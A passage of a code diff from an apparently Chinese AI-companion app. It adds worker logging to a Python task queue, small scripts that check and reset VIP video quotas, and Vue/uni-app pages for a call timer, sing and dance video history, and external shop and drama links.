logger.info(f"启动 {workers}{self._name} worker 线程")
for idx in range(max(1, workers)):
thread = threading.Thread(
target=self._worker,
@ -29,6 +33,8 @@ class SimpleTaskQueue:
)
thread.start()
self._threads.append(thread)
logger.info(f"Worker 线程 {self._name}-worker-{idx + 1} 已启动")
logger.info(f"{self._name} 队列启动完成,共 {len(self._threads)} 个 worker")
def enqueue(self, func: Callable, *args, **kwargs) -> None:
self._queue.put((None, func, args, kwargs))
@ -45,22 +51,35 @@ class SimpleTaskQueue:
return True
def _worker(self):
import logging
logger = logging.getLogger(self._name)
logger.info(f"Worker 线程 {threading.current_thread().name} 开始运行")
while True:
key, func, args, kwargs = self._queue.get()
try:
func(*args, **kwargs)
except Exception:
logging.exception("%s worker task failed", self._name)
finally:
if key:
with self._inflight_lock:
self._inflight.discard(key)
self._queue.task_done()
logger.debug(f"Worker {threading.current_thread().name} 等待任务...")
key, func, args, kwargs = self._queue.get()
logger.info(f"Worker {threading.current_thread().name} 获取到任务: {func.__name__}, key={key}")
try:
func(*args, **kwargs)
logger.info(f"Worker {threading.current_thread().name} 任务完成: {func.__name__}")
except Exception as e:
logger.exception(f"{self._name} worker 任务失败: {e}")
finally:
if key:
with self._inflight_lock:
self._inflight.discard(key)
self._queue.task_done()
except Exception as e:
logger.exception(f"Worker {threading.current_thread().name} 发生异常: {e}")
sing_task_queue = SimpleTaskQueue("sing")
def start_sing_workers():
import logging
logger = logging.getLogger("sing")
workers = max(1, settings.SING_MERGE_MAX_CONCURRENCY or 1)
logger.info(f"启动 {workers} 个唱歌任务 worker 线程")
sing_task_queue.start(workers)
logger.info("唱歌任务 worker 线程启动完成")

51
test_reset.py Normal file
View File

@ -0,0 +1,51 @@
#!/usr/bin/env python3
"""测试视频生成次数重置功能"""
from datetime import datetime, date
from lover.db import SessionLocal
from lover.models import User
def test_reset_logic():
db = SessionLocal()
try:
user = db.query(User).filter(User.id == 70).with_for_update().first()
if not user:
print("用户不存在")
return
print(f"重置前:")
print(f" video_gen_remaining: {user.video_gen_remaining}")
print(f" video_gen_reset_date: {user.video_gen_reset_date}")
# 模拟重置逻辑
current_timestamp = int(datetime.utcnow().timestamp())
is_vip = user.vip_endtime and user.vip_endtime > current_timestamp
if is_vip:
last_reset = user.video_gen_reset_date
today = datetime.utcnow().date()
print(f"\n检查:")
print(f" 是否 VIP: {is_vip}")
print(f" 上次重置日期: {last_reset}")
print(f" 今天日期: {today}")
print(f" 需要重置: {not last_reset or last_reset < today}")
if not last_reset or last_reset < today:
user.video_gen_remaining = 2
user.video_gen_reset_date = today
db.add(user)
db.commit()
print(f"\n重置后:")
print(f" video_gen_remaining: {user.video_gen_remaining}")
print(f" video_gen_reset_date: {user.video_gen_reset_date}")
else:
print("\n今天已经重置过了,不需要再次重置")
else:
print("用户不是 VIP不重置")
finally:
db.close()
if __name__ == "__main__":
test_reset_logic()

33
test_vip.py Normal file
View File

@ -0,0 +1,33 @@
#!/usr/bin/env python3
"""测试 VIP 功能"""
from datetime import datetime
from lover.db import SessionLocal
from lover.models import User
def test_vip_status():
db = SessionLocal()
try:
# 测试用户 70 和 84
for user_id in [70, 84]:
user = db.query(User).filter(User.id == user_id).first()
if not user:
print(f"用户 {user_id} 不存在")
continue
current_timestamp = int(datetime.utcnow().timestamp())
is_vip = user.vip_endtime and user.vip_endtime > current_timestamp
print(f"\n用户 {user_id} ({user.nickname}):")
print(f" VIP 到期时间戳: {user.vip_endtime}")
if user.vip_endtime:
vip_end_date = datetime.fromtimestamp(user.vip_endtime)
print(f" VIP 到期日期: {vip_end_date}")
print(f" 当前时间戳: {current_timestamp}")
print(f" 是否 VIP: {is_vip}")
print(f" 视频生成次数: {user.video_gen_remaining}")
print(f" 上次重置日期: {user.video_gen_reset_date}")
finally:
db.close()
if __name__ == "__main__":
test_vip_status()

View File

@ -9,13 +9,13 @@
</view>
<view class="header">
<view class="header_content">
<view class="header_time">通话剩余时间</view>
<view class="header_module fa sb">
<view class="header_title faj">00</view>
<view class="header_title faj">05</view>
<view class="header_title faj">00</view>
<view class="header_time">{{ isVip ? 'VIP 无限通话' : '通话剩余时间' }}</view>
<view class="header_module fa sb" v-if="!isVip">
<view class="header_title faj">{{ formatTime(remainingTime).hours }}</view>
<view class="header_title faj">{{ formatTime(remainingTime).minutes }}</view>
<view class="header_title faj">{{ formatTime(remainingTime).seconds }}</view>
</view>
<view class="header_recharge faj">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
<view class="header_recharge faj" @click="goRecharge">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
</view>
</view>
</view>
@ -56,6 +56,7 @@
} from '@/utils/api.js'
import notHave from '@/components/not-have.vue';
import { baseURLPy } from '@/utils/request.js'
import topSafety from '@/components/top-safety.vue';
const recorderManager = uni.getRecorderManager();
export default {
@ -77,7 +78,10 @@
audioContext: null,
audioData: [],
isApp: false, // App
totalDuration: 300000, // 5
remainingTime: 300000,
timer: null,
isVip: false
}
},
onLoad() {
@ -86,13 +90,82 @@
console.log('systemInfo', systemInfo)
// console.log('plus', plus)
this.isApp = systemInfo.uniPlatform === 'app'
this.connectWebSocket()
this.getCallDuration()
this.initAudio()
},
onUnload() {
this.stopCall()
if (this.timer) {
clearInterval(this.timer)
}
},
methods: {
getCallDuration() {
uni.request({
url: baseURLPy + '/voice/call/duration',
method: 'GET',
header: {
'Authorization': 'Bearer ' + uni.getStorageSync("token")
},
success: (res) => {
console.log('通话时长配置:', res.data)
if (res.data.code === 1 && res.data.data) {
const duration = res.data.data.duration
this.isVip = res.data.data.is_vip
if (duration > 0) {
this.totalDuration = duration
this.remainingTime = duration
} else {
// VIP 24
this.totalDuration = 24 * 60 * 60 * 1000
this.remainingTime = 24 * 60 * 60 * 1000
}
}
this.connectWebSocket()
},
fail: (err) => {
console.error('获取通话时长失败:', err)
// 使
this.connectWebSocket()
}
})
},
formatTime(ms) {
const totalSeconds = Math.floor(ms / 1000)
const hours = Math.floor(totalSeconds / 3600)
const minutes = Math.floor((totalSeconds % 3600) / 60)
const seconds = totalSeconds % 60
return {
hours: String(hours).padStart(2, '0'),
minutes: String(minutes).padStart(2, '0'),
seconds: String(seconds).padStart(2, '0')
}
},
startTimer() {
if (this.timer) {
clearInterval(this.timer)
}
this.timer = setInterval(() => {
this.remainingTime -= 1000
if (this.remainingTime <= 0) {
clearInterval(this.timer)
uni.showToast({
title: '通话时间已用完',
icon: 'none'
})
setTimeout(() => {
uni.navigateBack()
}, 1500)
} else if (this.remainingTime === 60000) {
// 1
uni.showToast({
title: '剩余 1 分钟',
icon: 'none',
duration: 2000
})
}
}, 1000)
},
hangUp() {
uni.showModal({
title: '提示',
@ -147,6 +220,7 @@
this.socketTask.onOpen((res) => {
console.log('onOpen:', res)
this.startRecording();
this.startTimer();
});
this.socketTask.onMessage((res) => {
console.log('onMessage:', res.data)
@ -189,7 +263,7 @@
}
});
recorderManager.start({
duration: 600000,
duration: this.totalDuration,
format: 'pcm', // PCMParaformer PCM
sampleRate: 16000, // 16000Hz ASR
numberOfChannels: 1, //
@ -271,6 +345,9 @@
this.audioContext.pause();
this.audioContext.destroy();
}
if (this.timer) {
clearInterval(this.timer);
}
},
//
async handleServerMessage(data) {
@ -693,6 +770,12 @@
delta: 2,
});
},
goRecharge() {
uni.showToast({
title: '充值功能开发中',
icon: 'none'
})
}
}
}
</script>

View File

@ -40,11 +40,12 @@
<view v-show="getBobbiesList.reg_step == 4">
<!-- Tab - 固定在顶部 -->
<view class="tab-container" v-if="getBobbiesList.reg_step == 4">
<scroll-view class="tab-scroll" scroll-x="true" show-scrollbar="false">
<scroll-view class="tab-scroll" scroll-x="true" show-scrollbar="false" :scroll-into-view="tabIntoView" scroll-with-animation="true">
<view class="tab-list">
<view
v-for="(tab, index) in tabs"
:key="index"
:id="'tab-' + index"
class="tab-item"
:class="{ 'active': currentTab === index }"
@click="switchTab(index)">
@ -147,7 +148,7 @@
<scroll-view
class="chat-message-scroll"
scroll-y="true"
:scroll-top="chatScrollTop"
:scroll-into-view="chatIntoView"
scroll-with-animation="true">
<view class="chat-message-list">
<view
@ -164,6 +165,7 @@
<text class="chat-message-text">{{ msg.content }}</text>
</view>
</view>
<view id="chat-bottom"></view>
</view>
</scroll-view>
@ -174,7 +176,10 @@
v-model="chatInputText"
placeholder="输入消息..."
confirm-type="send"
:adjust-position="true"
:hold-keyboard="false"
@confirm="sendChatMessage"
@blur="onInputBlur"
/>
<view class="chat-send-btn" @click="sendChatMessage">
<text>发送</text>
@ -190,6 +195,24 @@
<view class="feature-title">唱歌功能</view>
<view class="feature-desc">让她为你唱一首歌</view>
<scroll-view class="feature-scroll" scroll-y="true">
<!-- 历史视频 -->
<view class="history-section" v-if="singHistoryList.length > 0">
<view class="section-title" @click="openHistoryModal('sing')">历史视频</view>
<view class="history-list">
<view class="history-item" v-for="(item,index) in singHistoryList.slice(0, 2)" :key="'history-'+index">
<view class="history-info">
<text class="history-title">{{item.song_title}}</text>
<text class="history-date">{{formatDate(item.created_at)}}</text>
</view>
<view class="history-actions">
<view class="history-btn" @click="playSingVideo(item.video_url)">播放</view>
</view>
</view>
</view>
</view>
<!-- 歌曲列表 -->
<view class="section-title">选择歌曲</view>
<view class="song-list">
<view class="song-item" v-for="(item,index) in singSongsList" :key="index" @click="selectSongDirect(item)">
<view class="song-info">
@ -208,14 +231,31 @@
<view class="feature-icon">💃</view>
<view class="feature-title">跳舞功能</view>
<view class="feature-desc">让她为你跳一支舞</view>
<view class="dance-form">
<textarea
class="dance-input"
v-model="dancePrompt"
placeholder="描述你想看的舞蹈动作"
maxlength="200" />
<view class="dance-btn" @click="requestDance">生成舞蹈视频</view>
</view>
<scroll-view class="feature-scroll" scroll-y="true">
<view class="history-section" v-if="danceHistoryList.length > 0">
<view class="section-title" @click="openHistoryModal('dance')">历史视频</view>
<view class="history-list">
<view class="history-item" v-for="(item,index) in danceHistoryList.slice(0, 2)" :key="'dance-history-'+index">
<view class="history-info">
<text class="history-title">{{item.prompt || '跳舞视频'}}</text>
<text class="history-date">{{formatDate(item.created_at)}}</text>
</view>
<view class="history-actions">
<view class="history-btn" @click="playDanceVideo(item.video_url)">播放</view>
</view>
</view>
</view>
</view>
<view class="dance-form">
<textarea
class="dance-input"
v-model="dancePrompt"
placeholder="描述你想看的舞蹈动作"
maxlength="200" />
<view class="dance-btn" @click="requestDance">生成舞蹈视频</view>
</view>
</scroll-view>
</view>
</swiper-item>
@ -242,24 +282,17 @@
<!-- 商城页面 (index 6) -->
<swiper-item>
<view class="swiper-content feature-page">
<view class="feature-icon">🛒</view>
<view class="feature-title">商城</view>
<view class="feature-desc">购买更多功能和道具</view>
<scroll-view class="feature-scroll" scroll-y="true">
<view class="shop-list">
<view class="shop-item" v-for="i in 5" :key="i">
<view class="shop-info">
<text class="shop-title">套餐 {{i}}</text>
<text class="shop-desc">包含多种功能和道具</text>
</view>
<view class="shop-price">
<text class="price-value">¥{{i * 30}}</text>
<view class="shop-buy-btn">购买</view>
</view>
</view>
<view class="swiper-content" @click="openShopLink">
<view class="feature-page shop-link-page">
<view class="feature-icon">🛒</view>
<view class="feature-title">商城</view>
<view class="feature-desc">购买更多功能和道具</view>
<view class="shop-link-banner">
<image class="shop-banner-img" src="/static/images/member_logo.png" mode="aspectFit"></image>
<view class="shop-link-text">点击进入商城</view>
</view>
</scroll-view>
<view class="feature-btn shop-external-btn">立即前往 </view>
</view>
</view>
</swiper-item>
@ -271,7 +304,19 @@
<view class="feature-desc">观看精彩短剧内容</view>
<scroll-view class="feature-scroll" scroll-y="true">
<view class="drama-list">
<view class="drama-item" v-for="i in 4" :key="i">
<!-- 外部链接短剧 -->
<view class="drama-item drama-link-item" @click="openDramaLink">
<image class="drama-cover drama-banner" src="/static/images/chat_a1.png" mode="aspectFill"></image>
<view class="drama-link-badge">推荐</view>
<view class="drama-info">
<text class="drama-title">🎬 精彩短剧推荐</text>
<text class="drama-desc">点击观看更多精彩内容</text>
<view class="drama-play-btn drama-external-btn">立即观看 </view>
</view>
</view>
<!-- 其他短剧项 -->
<view class="drama-item" v-for="i in 3" :key="i">
<image class="drama-cover" src="/static/images/avatar.png" mode="aspectFill"></image>
<view class="drama-info">
<text class="drama-title">短剧标题 {{i}}</text>
@ -286,8 +331,8 @@
</swiper>
<!-- 自定义细线指示器 -->
<view class="swiper-indicator" v-if="getBobbiesList.reg_step == 4">
<!-- 自定义细线指示器 - 聊天页面时隐藏 -->
<view class="swiper-indicator" v-if="getBobbiesList.reg_step == 4" :class="{ 'indicator-hidden': currentTab === 1 }">
<view
v-for="(tab, index) in tabs"
:key="index"
@ -299,12 +344,46 @@
</view>
<!-- 青少年模式弹框 -->
<under-age :reg-step="getBobbiesList.reg_step" @underAgeStatusChanged="handleUnderAgeStatusChange"></under-age>
<tab-bar></tab-bar>
<!-- 底部 Tab - 聊天页面时隐藏 -->
<view class="bottom-tab-bar" :class="{ 'tab-bar-hidden': currentTab === 1 }">
<tab-bar></tab-bar>
</view>
<!-- 青少年模式遮罩层 -->
<view v-if="underAgeEnabled" class="underage-overlay">
<view class="underage-text">已开启青少年模式</view>
</view>
<view v-if="historyModalVisible" class="modal-mask" @click="closeHistoryModal">
<view class="modal-card" @click.stop>
<view class="modal-header">
<view class="modal-title">{{ historyModalType === 'dance' ? '跳舞历史视频' : '唱歌历史视频' }}</view>
<view class="modal-close" @click="closeHistoryModal">关闭</view>
</view>
<scroll-view class="modal-list" scroll-y="true">
<view class="modal-item" v-for="(item,index) in historyModalList" :key="'modal-'+index">
<view class="modal-item-info">
<text class="modal-item-title">{{ historyModalType === 'dance' ? (item.prompt || '跳舞视频') : (item.song_title || '唱歌视频') }}</text>
<text class="modal-item-date">{{ formatDate(item.created_at) }}</text>
</view>
<view class="modal-item-actions">
<view class="modal-play" @click="openVideoPlayer(item.video_url)">播放</view>
</view>
</view>
</scroll-view>
</view>
</view>
<view v-if="videoPlayerVisible" class="modal-mask" @click="closeVideoPlayer">
<view class="modal-card" @click.stop>
<view class="modal-header">
<view class="modal-title">视频播放</view>
<view class="modal-close" @click="closeVideoPlayer">关闭</view>
</view>
<video class="modal-video" :src="videoPlayerUrl" controls></video>
</view>
</view>
</view>
</template>
@ -320,6 +399,7 @@
SessionInit,
SessionSend
} from '@/utils/api.js'
import { baseURLPy } from '@/utils/request.js'
import notHave from '@/components/not-have.vue';
import topSafety from '@/components/top-safety.vue';
import tabBar from '@/components/tab-bar.vue';
@ -339,6 +419,7 @@
return {
// Tab
currentTab: 0,
tabIntoView: 'tab-0',
tabs: [
{ name: '首页' },
{ name: '聊天' },
@ -353,13 +434,17 @@
chatMessages: [],
chatInputText: '',
chatScrollTop: 0,
chatIntoView: '',
chatSessionId: null,
chatUserAvatar: '',
chatLoverAvatar: '',
chatSending: false,
dancePrompt: '',
singSongsList: [],
singHistoryList: [],
danceHistoryList: [],
songId: 0,
singGenerating: false, //
statusBarHeight: uni.getWindowInfo().statusBarHeight,
currentStep: 0,
chartData: {},
@ -394,6 +479,11 @@
getBobbiesList: '',
loverBasicList: '',
underAgeEnabled: false, //
historyModalVisible: false,
historyModalType: 'sing',
historyModalList: [],
videoPlayerVisible: false,
videoPlayerUrl: '',
}
},
onLoad(options) {
@ -424,6 +514,7 @@
//
this.getSingSongs();
this.getDanceHistory();
},
methods: {
// Tab
@ -442,27 +533,57 @@
}
this.currentTab = index;
this.updateTabIntoView(index);
},
onSwiperChange(e) {
console.log('Swiper 滑动,当前索引:', e.detail.current, '对应 Tab:', this.tabs[e.detail.current].name);
this.currentTab = e.detail.current;
this.updateTabIntoView(e.detail.current);
// tab
if (e.detail.current === 1 && !this.chatSessionId) {
this.initChatSession();
}
},
updateTabIntoView(index) {
this.$nextTick(() => {
this.tabIntoView = 'tab-' + index;
});
},
//
selectSongDirect(song) {
//
if (this.singGenerating) {
uni.showToast({
title: '视频生成中,请稍候...',
icon: 'none',
duration: 2000
});
return;
}
this.songId = song.id;
uni.showLoading({ title: '生成中...' });
this.singGenerating = true;
uni.showLoading({
title: '正在生成视频...',
mask: true //
});
SingGenerate({ song_id: song.id }).then(res => {
if (res.code == 1) {
this.getSingGenerateTask(res.data.task_id);
this.getSingGenerateTask(res.data.generation_task_id);
} else {
this.singGenerating = false;
uni.hideLoading();
uni.showToast({ title: res.msg, icon: 'none' });
}
}).catch(err => {
this.singGenerating = false;
uni.hideLoading();
uni.showToast({
title: '请求失败,请重试',
icon: 'none'
});
});
},
//
@ -476,20 +597,104 @@
if (res.code == 1) {
uni.hideLoading();
uni.showToast({ title: '生成成功', icon: 'success' });
this.getDanceHistory();
} else {
uni.hideLoading();
uni.showToast({ title: res.msg, icon: 'none' });
}
});
},
//
getSingSongs() {
SingSongs().then(res => {
if (res.code == 1) {
this.singSongsList = res.data.list || [];
//
openShopLink() {
// H5
// #ifdef H5
window.open('http://apidoc.weipinshang.net/web/#/1?page_id=450', '_blank');
// #endif
// APP 使 plus.runtime.openURL
// #ifdef APP-PLUS
plus.runtime.openURL('http://apidoc.weipinshang.net/web/#/1?page_id=450');
// #endif
//
// #ifdef MP
uni.setClipboardData({
data: 'http://apidoc.weipinshang.net/web/#/1?page_id=450',
success: function () {
uni.showToast({
title: '链接已复制,请在浏览器中打开',
icon: 'none',
duration: 2000
});
}
});
// #endif
},
//
openDramaLink() {
// H5
// #ifdef H5
window.open('https://djcps.meinvclk.top', '_blank');
// #endif
// APP 使 plus.runtime.openURL
// #ifdef APP-PLUS
plus.runtime.openURL('https://djcps.meinvclk.top');
// #endif
//
// #ifdef MP
uni.setClipboardData({
data: 'https://djcps.meinvclk.top',
success: function () {
uni.showToast({
title: '链接已复制,请在浏览器中打开',
icon: 'none',
duration: 2000
});
}
});
// #endif
},
getDanceHistory() {
uni.request({
url: baseURLPy + '/dance/history',
method: 'GET',
header: {
'Authorization': 'Bearer ' + uni.getStorageSync("token")
},
success: (res) => {
console.log('跳舞历史:', res.data);
if (res.data.code === 1 && res.data.data) {
this.danceHistoryList = res.data.data;
}
},
fail: (err) => {
console.error('获取跳舞历史失败:', err);
}
});
},
playDanceVideo(videoUrl) {
this.openVideoPlayer(videoUrl);
},
openHistoryModal(type) {
this.historyModalType = type;
this.historyModalList = type === 'dance' ? (this.danceHistoryList || []) : (this.singHistoryList || []);
this.historyModalVisible = true;
},
closeHistoryModal() {
this.historyModalVisible = false;
},
openVideoPlayer(url) {
if (!url) return;
this.videoPlayerUrl = url;
this.videoPlayerVisible = true;
},
closeVideoPlayer() {
this.videoPlayerVisible = false;
this.videoPlayerUrl = '';
},
//
//
getSingSongs() {
SingSongs().then(res => {
@ -497,38 +702,109 @@
this.singSongsList = res.data.songs || [];
}
});
//
this.getSingHistory();
},
//
getSingHistory() {
uni.request({
url: baseURLPy + '/sing/history',
method: 'GET',
header: {
'Authorization': 'Bearer ' + uni.getStorageSync("token")
},
success: (res) => {
console.log('唱歌历史:', res.data);
if (res.data.code === 1 && res.data.data) {
this.singHistoryList = res.data.data;
}
},
fail: (err) => {
console.error('获取唱歌历史失败:', err);
}
});
},
//
playSingVideo(videoUrl) {
this.openVideoPlayer(videoUrl);
},
//
formatDate(dateStr) {
if (!dateStr) return '';
const date = new Date(dateStr);
const month = String(date.getMonth() + 1).padStart(2, '0');
const day = String(date.getDate()).padStart(2, '0');
const hour = String(date.getHours()).padStart(2, '0');
const minute = String(date.getMinutes()).padStart(2, '0');
return `${month}-${day} ${hour}:${minute}`;
},
//
//
getSingGenerateTask(task_id) {
const that = this;
let attempts = 0;
const maxAttempts = 20;
const maxAttempts = 60; // 6044
const doPoll = () => {
attempts++;
if (attempts > maxAttempts) {
that.singGenerating = false;
uni.hideLoading();
uni.showToast({ title: '处理超时,请稍后重试', icon: 'none' });
uni.showToast({
title: '处理超时,请稍后查看',
icon: 'none',
duration: 2000
});
return;
}
//
uni.showLoading({
title: `生成中... (${attempts}/${maxAttempts})`,
mask: true
});
SingGenerateTask(task_id).then(res => {
if (res.code == 1) {
const data = res.data;
if (data.status == 'succeeded') {
that.singGenerating = false;
uni.hideLoading();
uni.showToast({ title: '生成成功', icon: 'success' });
uni.showToast({
title: '生成成功!',
icon: 'success',
duration: 2000
});
//
} else if (data.status == 'failed') {
that.singGenerating = false;
uni.hideLoading();
uni.showToast({ title: data.error_msg || '生成失败', icon: 'none' });
uni.showToast({
title: data.error_msg || '生成失败',
icon: 'none',
duration: 2000
});
} else {
//
setTimeout(doPoll, 4000);
}
} else {
that.singGenerating = false;
uni.hideLoading();
uni.showToast({ title: res.msg, icon: 'none' });
uni.showToast({
title: res.msg,
icon: 'none',
duration: 2000
});
}
}).catch(err => {
that.singGenerating = false;
uni.hideLoading();
uni.showToast({
title: '查询失败,请重试',
icon: 'none',
duration: 2000
});
});
};
@ -826,6 +1102,9 @@
const userMessage = this.chatInputText.trim();
this.chatInputText = '';
//
uni.hideKeyboard();
//
this.chatMessages.push({
role: 'user',
@ -881,9 +1160,20 @@
});
},
//
onInputBlur() {
//
this.$nextTick(() => {
//
});
},
//
scrollChatToBottom() {
this.chatScrollTop = 999999;
this.chatIntoView = '';
this.$nextTick(() => {
this.chatIntoView = 'chat-bottom';
});
}
}
}
@ -1330,19 +1620,25 @@
/* Swiper 容器样式 */
.swiper-container {
flex: 1;
width: 100%;
height: calc(100vh - 120rpx);
margin-top: calc(80rpx + var(--status-bar-height));
overflow-x: hidden;
}
.swiper-scroll {
height: 100%;
width: 100%;
overflow-x: hidden;
}
.swiper-content {
height: 100%;
width: 100%;
display: flex;
align-items: center;
justify-content: center;
overflow-x: hidden;
}
/* 功能页面样式 */
@ -1388,12 +1684,77 @@
width: 100%;
max-height: 60vh;
margin-top: 20rpx;
box-sizing: border-box;
overflow-x: hidden;
}
/* 历史视频样式 */
.history-section {
width: 100%;
padding: 20rpx;
margin-bottom: 30rpx;
box-sizing: border-box;
}
.section-title {
font-size: 32rpx;
font-weight: bold;
color: #333;
margin-bottom: 20rpx;
padding-left: 10rpx;
}
.history-list {
width: 100%;
}
.history-item {
display: flex;
align-items: center;
justify-content: space-between;
padding: 25rpx;
margin-bottom: 15rpx;
background: linear-gradient(135deg, rgba(159, 71, 255, 0.1) 0%, rgba(0, 83, 250, 0.1) 100%);
border-radius: 15rpx;
border: 1px solid rgba(159, 71, 255, 0.2);
}
.history-info {
flex: 1;
display: flex;
flex-direction: column;
}
.history-title {
font-size: 30rpx;
color: #333;
font-weight: 500;
margin-bottom: 8rpx;
}
.history-date {
font-size: 24rpx;
color: #999;
}
.history-actions {
display: flex;
gap: 15rpx;
}
.history-btn {
padding: 12rpx 30rpx;
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
color: #fff;
border-radius: 25rpx;
font-size: 26rpx;
}
/* 歌曲列表样式 */
.song-list {
width: 100%;
padding: 20rpx;
box-sizing: border-box;
}
.song-item {
@ -1500,6 +1861,49 @@
font-size: 24rpx;
}
/* 商城外部链接页面样式 */
.shop-link-page {
cursor: pointer;
transition: all 0.3s ease;
}
.shop-link-page:active {
transform: scale(0.98);
}
.shop-link-banner {
width: 80%;
max-width: 500rpx;
margin: 40rpx auto;
padding: 40rpx;
background: linear-gradient(135deg, #FFE5F0 0%, #E5F0FF 100%);
border-radius: 20rpx;
border: 2rpx solid #9F47FF;
box-shadow: 0 8rpx 20rpx rgba(159, 71, 255, 0.2);
display: flex;
flex-direction: column;
align-items: center;
gap: 20rpx;
}
.shop-banner-img {
width: 200rpx;
height: 200rpx;
}
.shop-link-text {
font-size: 32rpx;
color: #9F47FF;
font-weight: bold;
text-align: center;
}
.shop-external-btn {
background: linear-gradient(135deg, #FF6B9D 0%, #C239B3 100%);
font-weight: bold;
box-shadow: 0 4rpx 12rpx rgba(255, 107, 157, 0.3);
}
/* 短剧列表样式 */
.drama-list {
width: 100%;
@ -1550,6 +1954,45 @@
font-size: 24rpx;
}
/* 短剧外部链接特殊样式 */
.drama-link-item {
position: relative;
background: linear-gradient(135deg, #FFE5F0 0%, #E5F0FF 100%);
border: 2rpx solid #9F47FF;
box-shadow: 0 4rpx 12rpx rgba(159, 71, 255, 0.2);
cursor: pointer;
transition: all 0.3s ease;
}
.drama-link-item:active {
transform: scale(0.98);
box-shadow: 0 2rpx 8rpx rgba(159, 71, 255, 0.3);
}
.drama-banner {
width: 200rpx;
height: 150rpx;
border-right: 2rpx solid rgba(159, 71, 255, 0.2);
}
.drama-link-badge {
position: absolute;
top: 10rpx;
left: 10rpx;
padding: 4rpx 12rpx;
background: linear-gradient(135deg, #FF6B9D 0%, #C239B3 100%);
color: #fff;
font-size: 20rpx;
border-radius: 8rpx;
font-weight: bold;
z-index: 1;
}
.drama-external-btn {
background: linear-gradient(135deg, #FF6B9D 0%, #C239B3 100%);
font-weight: bold;
}
/* 自定义细线指示器样式 */
.swiper-indicator {
position: fixed;
@ -1562,6 +2005,15 @@
gap: 8rpx;
z-index: 100;
padding: 0 20rpx;
transition: transform 0.3s ease-in-out, opacity 0.3s ease-in-out;
transform: translateY(0);
opacity: 1;
}
.swiper-indicator.indicator-hidden {
transform: translateY(100%);
opacity: 0;
pointer-events: none;
}
.indicator-line {
@ -1835,12 +2287,18 @@
height: 100%;
display: flex;
flex-direction: column;
min-height: 0;
background: #f5f5f5;
}
.chat-message-scroll {
flex: 1;
height: 0;
min-height: 0;
padding: 20rpx;
padding-left: 30rpx;
padding-right: 30rpx;
box-sizing: border-box;
overflow-y: auto;
}
@ -1856,10 +2314,13 @@
.message-left {
flex-direction: row;
justify-content: flex-start;
}
.message-right {
flex-direction: row-reverse;
justify-content: flex-start;
padding-left: 0;
}
.chat-avatar {
@ -1870,7 +2331,7 @@
}
.chat-message-bubble {
max-width: 500rpx;
max-width: 420rpx; /* 减小气泡宽度,给头像留更多空间 */
padding: 20rpx 25rpx;
border-radius: 20rpx;
margin: 0 20rpx;
@ -1902,9 +2363,12 @@
.chat-input-bar {
display: flex;
align-items: center;
padding: 20rpx;
padding: 10rpx 20rpx;
padding-bottom: calc(10rpx + env(safe-area-inset-bottom));
background: #fff;
border-top: 1rpx solid #e5e5e5;
box-sizing: border-box;
flex-shrink: 0; /* 防止被压缩 */
}
.chat-message-input {
@ -1919,9 +2383,112 @@
.chat-send-btn {
margin-left: 20rpx;
padding: 20rpx 40rpx;
height: 80rpx;
display: flex;
align-items: center;
justify-content: center;
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
color: #fff;
border-radius: 40rpx;
font-size: 28rpx;
flex-shrink: 0;
}
/* ========== 底部 Tab 栏隐藏动画 ========== */
.bottom-tab-bar {
position: fixed;
bottom: 0;
left: 0;
right: 0;
z-index: 999;
transition: transform 0.3s ease-in-out, opacity 0.3s ease-in-out;
transform: translateY(0);
opacity: 1;
}
.bottom-tab-bar.tab-bar-hidden {
transform: translateY(100%); /* 向下移动,完全隐藏 */
opacity: 0; /* 透明度为0 */
pointer-events: none; /* 禁用点击事件 */
}
.modal-mask {
position: fixed;
left: 0;
top: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.6);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.modal-card {
width: 92%;
max-height: 80%;
background: #ffffff;
border-radius: 16rpx;
overflow: hidden;
}
.modal-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 24rpx;
border-bottom: 1px solid rgba(0,0,0,0.06);
}
.modal-title {
font-size: 30rpx;
font-weight: 600;
color: #333333;
}
.modal-close {
font-size: 26rpx;
color: #666666;
padding: 6rpx 12rpx;
}
.modal-list {
max-height: 60vh;
padding: 12rpx 24rpx 24rpx;
}
.modal-item {
display: flex;
align-items: center;
justify-content: space-between;
padding: 16rpx 0;
border-bottom: 1px solid rgba(0,0,0,0.06);
}
.modal-item-info {
display: flex;
flex-direction: column;
flex: 1;
padding-right: 12rpx;
}
.modal-item-title {
font-size: 28rpx;
color: #333333;
}
.modal-item-date {
font-size: 22rpx;
color: #999999;
margin-top: 6rpx;
}
.modal-item-actions {
width: 120rpx;
display: flex;
justify-content: flex-end;
}
.modal-play {
font-size: 24rpx;
color: #ffffff;
background: #F661B5;
padding: 10rpx 16rpx;
border-radius: 12rpx;
text-align: center;
}
.modal-video {
width: 100%;
height: 420rpx;
background: #000000;
}
</style>

View File

@ -0,0 +1,129 @@
<template>
<view class="container">
<view class="header">
<view class="title">{{ pageTitle }}</view>
</view>
<scroll-view class="list" scroll-y="true">
<view v-if="historyList.length === 0" class="empty">
<text>暂无历史视频</text>
</view>
<view v-else>
<view class="item" v-for="(item, index) in historyList" :key="index">
<view class="item-info">
<text class="item-title">{{ itemTitle(item) }}</text>
<text class="item-date">{{ formatDate(item.created_at) }}</text>
</view>
<video v-if="item.video_url" class="video" :src="item.video_url" controls></video>
</view>
</view>
</scroll-view>
</view>
</template>
<script>
import { baseURLPy } from '@/utils/request.js'
export default {
data() {
return {
type: 'sing',
historyList: []
}
},
computed: {
pageTitle() {
return this.type === 'dance' ? '跳舞历史视频' : '唱歌历史视频';
}
},
onLoad(options) {
if (options && options.type) {
this.type = options.type;
}
},
onShow() {
this.fetchHistory();
},
methods: {
fetchHistory() {
const endpoint = this.type === 'dance' ? 'dance/history' : 'sing/history';
uni.request({
url: baseURLPy + '/' + endpoint,
method: 'GET',
header: {
'Authorization': 'Bearer ' + uni.getStorageSync('token')
},
success: (res) => {
if (res.data && res.data.code === 1 && res.data.data) {
this.historyList = res.data.data;
}
},
fail: () => {}
});
},
itemTitle(item) {
if (this.type === 'dance') {
return item.prompt || '跳舞视频';
}
return item.song_title || '唱歌视频';
},
formatDate(dateStr) {
if (!dateStr) return '';
const date = new Date(dateStr);
const month = String(date.getMonth() + 1).padStart(2, '0');
const day = String(date.getDate()).padStart(2, '0');
